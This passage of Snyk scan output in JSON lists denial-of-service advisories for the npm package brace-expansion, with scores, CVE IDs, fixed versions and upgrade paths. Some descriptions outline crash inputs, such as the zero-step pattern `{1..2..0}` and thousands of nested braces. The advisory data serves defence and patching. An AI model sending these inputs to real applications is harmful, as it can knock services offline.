"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"init-package-json@6.0.3",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis 